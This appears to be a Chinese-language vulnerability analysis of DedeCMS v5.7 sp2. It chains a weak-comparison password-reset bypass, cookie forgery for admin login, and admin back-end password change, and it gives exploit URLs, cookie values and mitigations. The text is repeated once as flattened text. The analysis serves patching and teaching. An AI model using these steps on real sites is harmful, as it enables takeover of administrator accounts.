漏洞组合拳 | 重置dedecms管理员后台密码重现及分析
字数 1208 2025-08-18 11:37:03

DedeCMS v5.7 sp2 漏洞组合拳分析与利用教学

漏洞概述

DedeCMS v5.7 sp2 存在三个关键漏洞组合:

  1. 前台任意用户密码重置漏洞
  2. 前台任意用户登录漏洞
  3. 管理员前台可修改后台密码的安全问题

这三个漏洞组合形成完整的攻击链,可重置管理员后台密码,最终获取系统控制权。

漏洞详细分析

1. 前台任意用户密码重置漏洞

漏洞文件: member/resetpassword.php

关键代码:

else if($dopost == "safequestion") {
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(empty($safequestion)) $safequestion = '';
    if(empty($safeanswer)) $safeanswer = '';
    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
}

漏洞原理:

  • 数据库查询返回的 $row['safeanswer'] 为空,$row['safequestion'] 为0
  • 传入 $safeanswer 为空即可满足条件
  • 传入 $safequestion=0.0 利用PHP弱类型比较绕过判断(0.0 == 0)

利用步骤:

  1. 访问URL:
    /member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanwser=&id=1
    
  2. 系统生成临时密码并跳转到重置页面:
    /member/resetpassword.php?dopost=getpasswd&id=1&key=[随机8位key]
    
  3. 通过该URL重置管理员密码

2. 前台任意用户登录漏洞

漏洞文件: member/index.phpinclude/memberlogin.class.php

关键点:

  1. 通过 member/index.php?uid=0000001 设置 last_vidlast_vid__ckMd5 cookie
  2. 利用 last_vid__ckMd5 的值伪造 DedeUserID__ckMd5
  3. 设置 DedeUserID=0000001DedeUserID__ckMd5=last_vid__ckMd5 的值
  4. 系统验证通过后,intval(0000001) 得到 1,即以管理员身份登录

详细流程:

  1. 注册用户 0000001 并通过审核
  2. 访问:
    /member/index.php?uid=0000001
    
    获取 last_vid__ckMd5
  3. 登录 0000001 账号
  4. 修改cookie:
    • 设置 DedeUserID=0000001
    • 设置 DedeUserID__ckMd5=last_vid__ckMd5 的值
  5. 刷新页面,以管理员身份登录前台

3. 重置管理员前后台密码

漏洞文件: member/edit_baseinfo.php

关键代码:

$query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
$dsql->ExecuteNoneQuery($query1);

//如果是管理员,修改其后台密码
if($cfg_ml->fields['matt']==10 && $pwd2!=''){
    $query2 = "UPDATE `#@__admin` SET pwd='$pwd2' where id='".$cfg_ml->M_ID."'";
    $dsql->ExecuteNoneQuery($query2);
}

利用方法:

  1. 使用前面漏洞获取的管理员前台账号
  2. 修改密码时同时修改前后台密码

完整攻击链

  1. 利用前台任意密码重置漏洞重置管理员前台密码
  2. 利用前台任意用户登录漏洞以管理员身份登录前台
  3. 利用管理员权限修改前后台密码

修复方案

  1. 关闭会员功能(如不需要)
  2. 注释以下代码(member/index.php:163~164):
    PutCookie('last_vtime', $vtime, 3600*24, '/');
    PutCookie('last_vid', $last_vid, 3600*24, '/');
    
  3. 修改管理员后台地址为复杂路径
  4. 及时关注官方更新并升级

总结

此漏洞组合展示了多个看似独立的小漏洞如何组合形成严重威胁。安全防护应:

  • 重视每一个小漏洞
  • 实施纵深防御策略
  • 定期进行安全审计
  • 及时更新补丁

参考资料

  1. 阿里云先知论坛
  2. FreeBuf专栏
  3. FormSec博客
DedeCMS v5.7 sp2 漏洞组合拳分析与利用教学 漏洞概述 DedeCMS v5.7 sp2 存在三个关键漏洞组合: 前台任意用户密码重置漏洞 前台任意用户登录漏洞 管理员前台可修改后台密码的安全问题 这三个漏洞组合形成完整的攻击链,可重置管理员后台密码,最终获取系统控制权。 漏洞详细分析 1. 前台任意用户密码重置漏洞 漏洞文件 : member/resetpassword.php 关键代码 : 漏洞原理 : 数据库查询返回的 $row['safeanswer'] 为空, $row['safequestion'] 为0 传入 $safeanswer 为空即可满足条件 传入 $safequestion=0.0 利用PHP弱类型比较绕过判断(0.0 == 0) 利用步骤 : 访问URL: 系统生成临时密码并跳转到重置页面: 通过该URL重置管理员密码 2. 前台任意用户登录漏洞 漏洞文件 : member/index.php 和 include/memberlogin.class.php 关键点 : 通过 member/index.php?uid=0000001 设置 last_vid 和 last_vid__ckMd5 cookie 利用 last_vid__ckMd5 的值伪造 DedeUserID__ckMd5 设置 DedeUserID=0000001 和 DedeUserID__ckMd5=last_vid__ckMd5 的值 系统验证通过后, intval(0000001) 得到 1 ,即以管理员身份登录 详细流程 : 注册用户 0000001 并通过审核 访问: 获取 last_vid__ckMd5 值 登录 0000001 账号 修改cookie: 设置 DedeUserID=0000001 设置 DedeUserID__ckMd5=last_vid__ckMd5 的值 刷新页面,以管理员身份登录前台 3. 重置管理员前后台密码 漏洞文件 : member/edit_baseinfo.php 关键代码 : 利用方法 : 使用前面漏洞获取的管理员前台账号 修改密码时同时修改前后台密码 完整攻击链 利用前台任意密码重置漏洞重置管理员前台密码 利用前台任意用户登录漏洞以管理员身份登录前台 利用管理员权限修改前后台密码 修复方案 关闭会员功能(如不需要) 注释以下代码( member/index.php:163~164 ): 修改管理员后台地址为复杂路径 及时关注官方更新并升级 总结 此漏洞组合展示了多个看似独立的小漏洞如何组合形成严重威胁。安全防护应: 重视每一个小漏洞 实施纵深防御策略 定期进行安全审计 及时更新补丁 参考资料 阿里云先知论坛 FreeBuf专栏 FormSec博客